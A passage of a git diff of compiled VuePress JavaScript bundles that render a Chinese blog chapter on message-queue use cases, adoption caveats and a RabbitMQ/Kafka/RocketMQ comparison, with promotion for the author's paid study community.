"),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br"),n("span",{staticClass:"line-number"},[s._v("36")]),n("br")])]),n("h2",{attrs:{id:"写在最后"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),n("blockquote",[n("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),n("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),n("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),n("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),n("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),n("p",[n("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);n.default=r.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-330.js b/assets/js/cg-330.js index 85aa94d9bd50317bdf3cd595754ec1abbf512c78..45e45b34c902b6c27874969382f3dca558afc5fd 100644 --- a/assets/js/cg-330.js +++ b/assets/js/cg-330.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[330],{627:function(a,t,s){"use strict";s.r(t);var _=s(7),v=Object(_.a)({},(function(){var a=this,t=a._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":a.$parent.slotKey}},[t("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第18章-消息服务-mq使用场景与选型对比"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第18章-消息服务-mq使用场景与选型对比"}},[a._v("#")]),a._v(" SA实战 ·《SpringCloud Alibaba实战》第18章-消息服务:MQ使用场景与选型对比")]),a._v(" "),t("p",[t("strong",[a._v("大家好,我是冰河~~")])]),a._v(" "),t("blockquote",[t("p",[a._v("一不小心《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[a._v("SpringCloud Alibaba实战"),t("OutboundLink")],1),a._v("》专栏都更新到第18章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),a._v(" "),t("p",[a._v("注意:本项目完整源码加入 "),t("strong",[t("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[a._v("冰河技术"),t("OutboundLink")],1)]),a._v(" 知识星球即可获取,文末有入场方式。")])]),a._v(" "),t("p",[a._v("在《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[a._v("SpringCloud Alibaba实战"),t("OutboundLink")],1),a._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务,同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),a._v(" "),t("p",[a._v("今天,我们正式进入消息服务章节,首先,我们来简单的聊聊MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比。")]),a._v(" "),t("h2",{attrs:{id:"本章总览"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[a._v("#")]),a._v(" 本章总览")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-007.png",loading:"lazy"}})]),a._v(" "),t("h2",{attrs:{id:"mq的使用场景"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#mq的使用场景"}},[a._v("#")]),a._v(" MQ的使用场景")]),a._v(" "),t("p",[a._v("MQ的英文全称是Message Queue,翻译成中文就是消息队列,队列实现了先进先出(FIFO)的消息模型。通过消息队列,我们可以实现多个进程之间的通信,例如,可以实现多个微服务之间的消息通信。MQ的最简模型就是生产者生产消息,将消息发送到MQ,消息消费者订阅MQ,消费消息。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-001.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("MQ的使用场景通常包含:"),t("strong",[a._v("异步解耦、流量削峰")]),a._v("。")]),a._v(" "),t("h3",{attrs:{id:"异步解耦"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#异步解耦"}},[a._v("#")]),a._v(" 异步解耦")]),a._v(" "),t("p",[a._v("关于异步的场景,我们这里举一个用户下单成功后,向用户发送通知消息,为用户增加积分和优惠券的场景。")]),a._v(" "),t("h4",{attrs:{id:"同步耦合场景分析"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#同步耦合场景分析"}},[a._v("#")]),a._v(" 同步耦合场景分析")]),a._v(" "),t("p",[a._v("如果是同步调用的场景,则具体业务为:当用户提交订单成功后,订单系统会调用通知系统为用户发送消息通知,告知用户下单成功,订单系统调用积分系统为用户增加积分,订单系统调用优惠券系统为用户增加优惠券。整个调用流程如下所示。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-002.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("通过上图的分析,可以看到,用户调用订单系统下单时,总共会经过8个步骤。并且每个步骤都是紧密耦合在一起串行执行,如下所示。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-003.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("此时,订单系统、通知系统、积分系统和优惠券系统是紧密耦合在一起的,订单系统下单、通知系统发通知、积分系统发积分和优惠券系统发优惠券,四个任务全部完成后,才会给用户返回提交订单的结果信息。")]),a._v(" "),t("p",[a._v("用户提交订单花费的总时间为调用订单系统下单的时间+订单系统调用通知系统发送通知的时间+订单系统调用积分系统发放积分的时间+订单系统调用优惠券系统发放优惠券的时间。")]),a._v(" "),t("p",[t("strong",[a._v("注意:这里为了更好的说明系统之间串行执行的问题,忽略了网络的延迟时间。")])]),a._v(" "),t("p",[a._v("这种串行化的系统执行方式,在高并发、大流量场景下是不可取的。另外,如果其中一个系统异常或者宕机,势必会影响到订单系统的可用性。在系统维护上,只要任意一个系统的接口发生变动,订单系统的逻辑也要跟着发生变动。")]),a._v(" "),t("h4",{attrs:{id:"异步解耦场景分析"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#异步解耦场景分析"}},[a._v("#")]),a._v(" 异步解耦场景分析")]),a._v(" "),t("p",[a._v("既然在高并发、大流量场景下使用订单系统直接串行调用通知系统、积分系统和优惠券系统的方式不可取。那我们是否能够使用异步解耦的方式呢。其实,在用户提交订单的场景中,用户最关心的是自己的订单是否提交成功,由于下单时,订单系统会直接返回是否下单成功的提示。对于通知、积分和优惠券可以以异步的方式延后一小段时间执行。并且通知系统、积分系统和优惠券系统之间不存在必然的业务关联逻辑,它们之间可以以并行的方式执行。")]),a._v(" "),t("p",[a._v("所以,可以使用MQ将订单系统与通知系统、积分系统和优惠券系统进行解耦,用户调用订单系统的接口下单时,订单系统向数据库写入订单数据后,向MQ写入消息,就可以直接返回给用户下单成功的提示,此时通知系统、积分系统和优惠券系统都订阅MQ中的消息,收到消息后各自执行自身的业务逻辑即可。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-004.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("当引入MQ进行异步解耦之后,用户调用订单系统的接口下单,订单系统执行完业务逻辑将订单数据入口,会向MQ发送一条消息,随后便直接返回用户下单成功的提示。通知系统、积分系统和优惠券系统会同时订阅MQ中的消息,当收到消息时,它们各自会执行自身的业务逻辑,并且它们是以并行的方式执行各自的业务逻辑。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-005.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("从执行的时间线上可以看出,当引入MQ进行异步解耦之后,通知系统、积分系统、优惠券系统和订单系统回复响应都是并行执行的,大大提高系统的执行性能。")]),a._v(" "),t("p",[a._v("并且解耦后,任意一个系统异常或者宕机,都不会影响到订单系统的可用性。只要订单系统与其他系统提前约定好发送的消息格式和消息内容,后续任意一个系统的业务逻辑变动,几乎都不会影响到订单系统的逻辑。")]),a._v(" "),t("h3",{attrs:{id:"流量削峰"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#流量削峰"}},[a._v("#")]),a._v(" 流量削峰")]),a._v(" "),t("p",[a._v("MQ在高并发、大流量的场景下可以用作削峰填谷的利器,例如,12306的春运抢票场景、高并发秒杀场景、双十一和618的大促场景等。")]),a._v(" "),t("p",[a._v("在高并发、大流量业务场景下,瞬间会有大量用户的请求涌入系统,如果不对这些流量做处理的话,直接让这些流量进入下游系统,则很可能由于下游系统无法支撑如此高的并发而导致系统崩溃或宕机。为了解决这些问题,可以引入MQ进行流量的削峰填谷。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-006.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("将流量发送到MQ中后,下游系统根据自身的处理能力进行消费即可。保证了下游系统的高可用性。")]),a._v(" "),t("h2",{attrs:{id:"引入mq后的注意事项"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#引入mq后的注意事项"}},[a._v("#")]),a._v(" 引入MQ后的注意事项")]),a._v(" "),t("p",[a._v("引入MQ最大的优点就是异步解耦和流量削峰,但是引入MQ后也有很多需要注意的事项和问题,主要包括:系统的整体可用性降低、系统的复杂度变高、引入了消息一致性的问题。")]),a._v(" "),t("h3",{attrs:{id:"系统的整体可用性降低"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#系统的整体可用性降低"}},[a._v("#")]),a._v(" 系统的整体可用性降低")]),a._v(" "),t("p",[a._v("在对一个系统进行架构设计时,引入的外部依赖越多,系统的稳定性和可用性就会降低。系统中引入了MQ,部分业务就会出现强依赖MQ的现象,此时,如果MQ宕机,则部分业务就会变得不可用。所以,引入MQ时,我们就要考虑如何实现MQ的高可用。")]),a._v(" "),t("h3",{attrs:{id:"系统的复杂度变高"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#系统的复杂度变高"}},[a._v("#")]),a._v(" 系统的复杂度变高")]),a._v(" "),t("p",[a._v("引入MQ后,会使之前的同步接口调用变成通过MQ的异步调用,在实际的开发过程中,异步调用会比同步调用复杂的多。并且异步调用出现问题后,重现问题,定位问题和解决问题都会比同步调用复杂的多。")]),a._v(" "),t("p",[a._v("并且引入MQ后,还要考虑如何保证消息的顺序等问题。")]),a._v(" "),t("h3",{attrs:{id:"消息一致性问题"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#消息一致性问题"}},[a._v("#")]),a._v(" 消息一致性问题")]),a._v(" "),t("p",[a._v("引入MQ后,不得不考虑的一个问题就是消息的一致性问题。这期间就要考虑如何保证消息不丢失,消息幂等和消息数据处理的幂等性问题。")]),a._v(" "),t("h2",{attrs:{id:"mq选型对比"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#mq选型对比"}},[a._v("#")]),a._v(" MQ选型对比")]),a._v(" "),t("p",[a._v("目前,在行业内使用的比较多的MQ包含RabbitMQ、Kafka和RocketMQ。这里,我将三者的对比简单整理了个表格,如下所示。")]),a._v(" "),t("table",[t("thead",[t("tr",[t("th",[a._v("消息中间件(MQ)")]),a._v(" "),t("th",[a._v("优点")]),a._v(" "),t("th",[a._v("缺点")]),a._v(" "),t("th",[a._v("使用场景")])])]),a._v(" "),t("tbody",[t("tr",[t("td",[a._v("RabbitMQ")]),a._v(" "),t("td",[a._v("功能全面、消息的可靠性比较高")]),a._v(" "),t("td",[a._v("吞吐量低,消息大量积累会影响性能,使用的开发语言是erlang,不好定制功能。")]),a._v(" "),t("td",[a._v("规模不大的场景")])]),a._v(" "),t("tr",[t("td",[a._v("Kafka")]),a._v(" "),t("td",[a._v("吞吐量最高,性能最好,集群模式下高可用")]),a._v(" "),t("td",[a._v("功能上比较单一,会丢失部分数据")]),a._v(" "),t("td",[a._v("日志分析,大数据场景")])]),a._v(" "),t("tr",[t("td",[a._v("RocketMQ")]),a._v(" "),t("td",[a._v("吞吐量高,性能高,可用性高,功能全面。使用Java语言开发,容易定制功能。")]),a._v(" "),t("td",[a._v("开源版不如阿里云上版,文档比较简单。")]),a._v(" "),t("td",[a._v("几乎支持所有场景,包含大数据场景和业务场景。")])])])]),a._v(" "),t("p",[t("strong",[a._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),a._v(" "),t("p",[t("strong",[a._v("另外,一不小心就写了18章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),a._v(" "),t("h2",{attrs:{id:"关于星球"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[a._v("#")]),a._v(" 关于星球")]),a._v(" "),t("p",[a._v("最近,冰河创建了【冰河技术】知识星球,《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[a._v("SpringCloud Alibaba实战"),t("OutboundLink")],1),a._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),a._v(" "),t("p",[a._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),a._v(" "),t("h3",{attrs:{id:"星球提供的服务"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[a._v("#")]),a._v(" 星球提供的服务")]),a._v(" "),t("p",[a._v("冰河整理了星球提供的一些服务,如下所示。")]),a._v(" "),t("p",[a._v("加入星球,你将获得:")]),a._v(" "),t("p",[a._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),a._v(" "),t("p",[a._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),a._v(" "),t("p",[a._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),a._v(" "),t("p",[a._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),a._v(" "),t("p",[a._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),a._v(" "),t("p",[a._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),a._v(" "),t("p",[a._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),a._v(" "),t("p",[a._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),a._v(" "),t("p",[a._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),a._v(" "),t("h3",{attrs:{id:"星球门票价格"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[a._v("#")]),a._v(" 星球门票价格")]),a._v(" "),t("p",[a._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),a._v(" "),t("p",[t("strong",[a._v("特别提醒:")]),a._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),a._v(" "),t("p",[a._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),t("strong",[a._v("冰河技术")]),a._v(" 公众号回复 “ "),t("strong",[a._v("星球")]),a._v(" ” ,领取入场优惠券。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),a._v(" "),t("p",[t("strong",[a._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),a._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[a._v("#")]),a._v(" 写在最后")]),a._v(" "),t("blockquote",[t("p",[a._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[a._v("冰河技术")]),a._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=v.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[330],{620:function(a,t,s){"use strict";s.r(t);var _=s(7),v=Object(_.a)({},(function(){var a=this,t=a._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":a.$parent.slotKey}},[t("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第18章-消息服务-mq使用场景与选型对比"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第18章-消息服务-mq使用场景与选型对比"}},[a._v("#")]),a._v(" SA实战 ·《SpringCloud Alibaba实战》第18章-消息服务:MQ使用场景与选型对比")]),a._v(" "),t("p",[t("strong",[a._v("大家好,我是冰河~~")])]),a._v(" "),t("blockquote",[t("p",[a._v("一不小心《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[a._v("SpringCloud Alibaba实战"),t("OutboundLink")],1),a._v("》专栏都更新到第18章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),a._v(" "),t("p",[a._v("注意:本项目完整源码加入 "),t("strong",[t("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[a._v("冰河技术"),t("OutboundLink")],1)]),a._v(" 知识星球即可获取,文末有入场方式。")])]),a._v(" "),t("p",[a._v("在《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[a._v("SpringCloud Alibaba实战"),t("OutboundLink")],1),a._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务,同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),a._v(" "),t("p",[a._v("今天,我们正式进入消息服务章节,首先,我们来简单的聊聊MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比。")]),a._v(" "),t("h2",{attrs:{id:"本章总览"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[a._v("#")]),a._v(" 本章总览")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-007.png",loading:"lazy"}})]),a._v(" "),t("h2",{attrs:{id:"mq的使用场景"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#mq的使用场景"}},[a._v("#")]),a._v(" MQ的使用场景")]),a._v(" "),t("p",[a._v("MQ的英文全称是Message Queue,翻译成中文就是消息队列,队列实现了先进先出(FIFO)的消息模型。通过消息队列,我们可以实现多个进程之间的通信,例如,可以实现多个微服务之间的消息通信。MQ的最简模型就是生产者生产消息,将消息发送到MQ,消息消费者订阅MQ,消费消息。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-001.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("MQ的使用场景通常包含:"),t("strong",[a._v("异步解耦、流量削峰")]),a._v("。")]),a._v(" "),t("h3",{attrs:{id:"异步解耦"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#异步解耦"}},[a._v("#")]),a._v(" 异步解耦")]),a._v(" "),t("p",[a._v("关于异步的场景,我们这里举一个用户下单成功后,向用户发送通知消息,为用户增加积分和优惠券的场景。")]),a._v(" "),t("h4",{attrs:{id:"同步耦合场景分析"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#同步耦合场景分析"}},[a._v("#")]),a._v(" 同步耦合场景分析")]),a._v(" "),t("p",[a._v("如果是同步调用的场景,则具体业务为:当用户提交订单成功后,订单系统会调用通知系统为用户发送消息通知,告知用户下单成功,订单系统调用积分系统为用户增加积分,订单系统调用优惠券系统为用户增加优惠券。整个调用流程如下所示。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-002.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("通过上图的分析,可以看到,用户调用订单系统下单时,总共会经过8个步骤。并且每个步骤都是紧密耦合在一起串行执行,如下所示。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-003.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("此时,订单系统、通知系统、积分系统和优惠券系统是紧密耦合在一起的,订单系统下单、通知系统发通知、积分系统发积分和优惠券系统发优惠券,四个任务全部完成后,才会给用户返回提交订单的结果信息。")]),a._v(" "),t("p",[a._v("用户提交订单花费的总时间为调用订单系统下单的时间+订单系统调用通知系统发送通知的时间+订单系统调用积分系统发放积分的时间+订单系统调用优惠券系统发放优惠券的时间。")]),a._v(" "),t("p",[t("strong",[a._v("注意:这里为了更好的说明系统之间串行执行的问题,忽略了网络的延迟时间。")])]),a._v(" "),t("p",[a._v("这种串行化的系统执行方式,在高并发、大流量场景下是不可取的。另外,如果其中一个系统异常或者宕机,势必会影响到订单系统的可用性。在系统维护上,只要任意一个系统的接口发生变动,订单系统的逻辑也要跟着发生变动。")]),a._v(" "),t("h4",{attrs:{id:"异步解耦场景分析"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#异步解耦场景分析"}},[a._v("#")]),a._v(" 异步解耦场景分析")]),a._v(" "),t("p",[a._v("既然在高并发、大流量场景下使用订单系统直接串行调用通知系统、积分系统和优惠券系统的方式不可取。那我们是否能够使用异步解耦的方式呢。其实,在用户提交订单的场景中,用户最关心的是自己的订单是否提交成功,由于下单时,订单系统会直接返回是否下单成功的提示。对于通知、积分和优惠券可以以异步的方式延后一小段时间执行。并且通知系统、积分系统和优惠券系统之间不存在必然的业务关联逻辑,它们之间可以以并行的方式执行。")]),a._v(" "),t("p",[a._v("所以,可以使用MQ将订单系统与通知系统、积分系统和优惠券系统进行解耦,用户调用订单系统的接口下单时,订单系统向数据库写入订单数据后,向MQ写入消息,就可以直接返回给用户下单成功的提示,此时通知系统、积分系统和优惠券系统都订阅MQ中的消息,收到消息后各自执行自身的业务逻辑即可。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-004.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("当引入MQ进行异步解耦之后,用户调用订单系统的接口下单,订单系统执行完业务逻辑将订单数据入口,会向MQ发送一条消息,随后便直接返回用户下单成功的提示。通知系统、积分系统和优惠券系统会同时订阅MQ中的消息,当收到消息时,它们各自会执行自身的业务逻辑,并且它们是以并行的方式执行各自的业务逻辑。")]),a._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-17-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-17-005.png",loading:"lazy"}})]),a._v(" "),t("p",[a._v("从执行的时间线上可以看出,当引入MQ进行异步解耦之后,通知系统、积分系统、优惠券系统和订单系统回复响应都是并行执行的,大大提高系统的执行性能。")]),a._v(" "),t("p",[a._v("并且解耦后,任意一个系统异常或者宕机,都不会影响到订单系统的可用性。只要订单系统与其他系统提前约定好发送的消息格式和消息内容,后续任意一个系统的业务逻辑变动,几乎都不会影响到订单系统的逻辑。")]),a._v(" "),t("h3",{attrs:{id:"流量削峰"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#流量削峰"}},[a._v("#")]),a._v(" 流量削峰")]),a._v(" "),t("p",[a._v("MQ在高并发、大流量的场景下可以用作削峰填谷的利器,例如,12306的春运抢票场景、高并发秒杀场景、双十一和618的大促场景等。")]),a._v(" "),t("p",[a._v("在高并发、大流量业务场景下,瞬间会有大量用户的请求涌入系统,如果不对这些流量做处理的话,直接让这些流量进入下游系统,则很可能由于下游系统无法支撑如此高的并发而导致系统崩溃或宕机。为了解决这些问题,可以引入MQ进行流量的削峰填谷。")]),a._v(" 